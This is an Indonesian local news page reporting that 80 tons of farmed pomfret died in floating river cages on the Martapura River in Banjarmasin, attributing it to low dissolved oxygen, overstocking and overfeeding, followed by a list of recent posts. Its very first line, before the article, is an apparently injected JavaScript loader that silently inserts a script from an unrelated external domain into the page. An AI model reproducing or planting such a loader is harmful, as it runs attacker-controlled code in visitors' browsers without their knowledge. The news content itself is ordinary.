(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

80 Ton Ikan Bawal Mati, Kualitas Air di Sungai Martapura Buruk!


BANJARMASIN, Sedikitnya 80 ton ikan bawal budidaya karamba apung milik Banua Anyar mati mendadak, ratusan juta modal pembudidaya ikan menguap akibat gagal panen.

Kepala Dinas Ketahanan Pangan, Perikanan, dan Pertanian (DKP3) Kota Banjarmasin, Laohem Mahfuzi mengatakan, ada dua faktor penyebab matinya ribuan ekor ikan bawal keramba apung di Sungai Martapura itu, pertama karena buruknya kualitas air akibat kemarau panjang. Kedua dipicu cara pemilik tambak yang tidak melakukan pola pemeliharaan yang sesuai dengan pembudidayaan ikan.

Perlu diingat bahwa hanya ikan bawal yang mati. Hal ini diakibatkan ikan bawal memerlukan kadar oksigen 4 miligram per liter. Sedangkan ketika diukur, DO (Dissolve Oxygen) atau oksigen yang terlarut di keramba apung hanya mencapai angka dua bahkan bisa turun menjadi satu pada malam hari.

Laohem mengatakan, pihaknya sangat tidak merekomendasikan budidaya ikan bawal keramba apung di sungai. Beda hal dengan ikan yang lebih cocok hidup di kawasan air payau, seperti ikan patin dan ikan lele.

Pemicu matiannya ribuan ikan bawal di keramba apung juga karena kelebihan kapasitas tampung. Dalam satu keramba apung diisi 500 ekor ikan bawal.

“Padahal idealnya adalah 200 hingga 300 ekor ikan saja. Selain itu, pemberian pakan ikan yang berlebihan juga menjadi penyumbang pencemaran kualitas air di sekitaran keramba,” jelasnya.

“Kami menyarankan ke depan sesuai aturan, jangan sampai menebar terlalu padat, pemberian pakan juga ada ketentuannya. Kalau ditebar semuanya, terendam menjadi racun, lalu upwelling,” bebernya.

Bambang Setiyo S, Pengendali Hama Penyakit Ikan dari Balai Perikanan Budidaya Air Tawar Kementerian Kelautan dan Perikanan menambahkan memang ikan bawal sangatlah tidak cocok jika dibudidayakan di keramba apung suangi.

“Secara instruksi, tapi belum ada peraturan tertulis, ikan bawal dilarang (dikembangbiakkan), jika masuk perairan umum akan mengganggu ekosistem, khususnya ekosistem perikanan lokal kota,” tuturnya.

Kepala Dinas Lingkungan Hidup Kota Banjarmasin, Mukhyar mengatakan, pihaknya akan berusaha mencari solusi lain untuk memindahkan keramba-keramba ini ke darat, karena ribuan ikan yang mati dan pakan akan menjadi faktor pencemaran air di sungai Martapura.

“Kita sama-sama sudah lihat ke lokasi dan melihat keramba masing-masing. Ini jelas menjadi pencemaran bagi sungai kita,” ujarnya.

Ia berharap peristiwa yang selalu berulang setiap tahun ini bisa menjadi pembelajaran bagi para pembudidaya ikan keramba apung di tepian sungai Martapura.

“Ini menjadi pembelajaran untuk mereka, akan sia-sia sekali, sudah menambak seperti ini, bertambah-bertambah lagi, akhirnya rugi, kasihan mereka,” ujarnya. (mario)


Desy Arfianty

Recent Posts

Musrenbang Kecamatan Selat Digelar, Ini Kata Wakil Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More

3 jam ago

Resmikan 166 Sekolah Rakyat, Prabowo Target 500 Sekolah Rakyat di 2029

KANALKALIMANTAN.COM, BANJARBARU - Presiden Republik Indonesia Prabowo Subianto didampingi sejumlah Menteri Kabinet Merah Putih dan… Read More

4 jam ago

Prabowo Janjikan Kampus Kedokteran Gratis

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto berkeinginan membuka banyak sekolah dan kampus. Ia memandang pendidikan… Read More

6 jam ago

Tiba di Banjarbaru, Presiden Prabowo Resmikan 166 Sekolah Rakyat

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More

10 jam ago

Peluncuran Budaya Sekolah Aman dan Nyaman di Banjarbaru, Ini Kata Mendikdasmen Abdul Mu’ti

KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More

10 jam ago

Nilai TKA Jadi Syarat Wajib untuk Siswa Eligible SNBP 2026

KANALKALIMANTAN.COM, JAKARTA - Seleksi Nasional Berdasarkan Prestasi (SNBP) 2026 menjadi perhatian siswa kelas akhir SMA,… Read More

13 jam ago

This website uses cookies.